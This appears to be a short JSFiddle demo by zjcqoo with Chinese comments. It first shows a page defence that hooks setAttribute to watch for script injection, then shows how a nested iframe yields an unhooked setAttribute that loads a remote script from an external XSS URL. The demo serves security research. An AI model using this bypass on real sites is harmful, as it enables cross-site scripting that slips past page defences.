JSFiddle - React, Tailwind, and code Playground

by zjcqoo

JavaScript

// 我们防御系统
(function() {
    function installHook(window) {
        // 保存上级接口
        var raw_fn = window.Element.prototype.setAttribute;
        
        // 勾住当前接口
        window.Element.prototype.setAttribute = function(name, value) {
            // 试试
            alert(name);
            
            // 向上调用
            raw_fn.apply(this, arguments);
        };
        
        // 监控当前环境的元素
        window.document.addEventListener('DOMNodeInserted', function(e) {
            var element = e.target;
            
            // 给框架里环境也装个钩子
            if (element.tagName == 'IFRAME') {
                // 保护框架页面
                installHook(element.contentWindow);
            }
        }, true);
    }
    
    // 先保护当前页面
    installHook(window);
})();


// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);

// 创建框架页的框架页
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);

// 反射接口
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;

// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);